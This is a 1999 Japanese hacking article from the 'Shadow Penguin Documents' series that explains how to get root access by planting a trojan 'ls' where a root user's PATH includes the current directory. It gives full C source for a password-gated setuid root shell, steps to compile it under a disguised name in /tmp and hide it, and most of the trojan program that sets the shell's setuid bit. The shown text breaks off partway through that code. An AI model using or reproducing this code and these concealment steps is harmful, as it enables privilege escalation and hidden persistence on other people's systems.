========================================= The Shadow Penguin Documents. No. 15 - lsトロイでrootになる - Written by うにゅん Jan.19, 1999 ========================================= 1. はじめに ちょっとBBSで質問があったので、lsトロイについて書いてみました。rootが カレントディレクトリにパスを通している場合、このlsトロイを置いているディ レクトリでrootがlsコマンドを使用するとrootshellが作成され、侵入者はroot になることができます。rootでカレントディレクトリにパスを通している管理者 の方は注意して下さい。 2. 条件 rootのホームディレクトリの.cshrcに set path=(./ /usr/bin / ・・・・ のようにカレントディレクトリへのパス指定がある場合はrootになれる可能性が あります。なお、操作確認はSolaris2.6およびIRIX6.3です。 3. 仕込み方 仕込む前に、shellをuid=gid=0で呼び出すプログラムを準備する必要があります。 例えば、 main() { setuid(0); setgid(0); system("/bin/sh"); } みたいなヤツですね。lsトロイは、rootがlsを実行時にこのshell呼び出しプログ ラムをsuidにします。ただ、これだとバレる可能性も高いので、せめて /*------------------------------- rootshell.c Programmed by UNYUN ---*/ main(argc,argv) int argc; char *argv[]; { if (argc==2 && strcmp(argv[1],"hoge")==0){ setuid(0); setgid(0); system("/bin/sh"); } } /*----------------------------------------------- end --------------*/ みたいにした方がばれにくくなります(The ShadowPenguin Document No.10:鯖の 長期保存法 を参照)。 まず、これを仕込みます。 %cd /tmp /tmpにrootshell.cを置いておきます。 %cc rootshell.c -o .nng_socket= コンパイル。gccでも可 %rm rootshell.c ソースを削除 %chmod 644 .nng_socket= 644とかにすると、怪しまれにくい rootがlsトロイを実行すると、.nng_socket=がsuidプログラムになり、rootshell になります。 これで、rootshellの準備ができました。次はlsトロイです。 一般ユーザで書き込み権限のあるディレクトリ(ユーザーのhomeディレクトリや /tmp等)にlsトロイを仕込みます。 /*------------------------------------ lst.c Programmed by UNYUN ---*/ #include #include #define SHELL "/tmp/.nng_socket=" /* 1 */ int main(argc,argv) int argc; char *argv[]; { char cmdline[1000]; int i; chmod(SHELL,S_ISUID|S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH); chown(SHELL,0,0); strcpy(cmdline,"ls"); for (i=1;i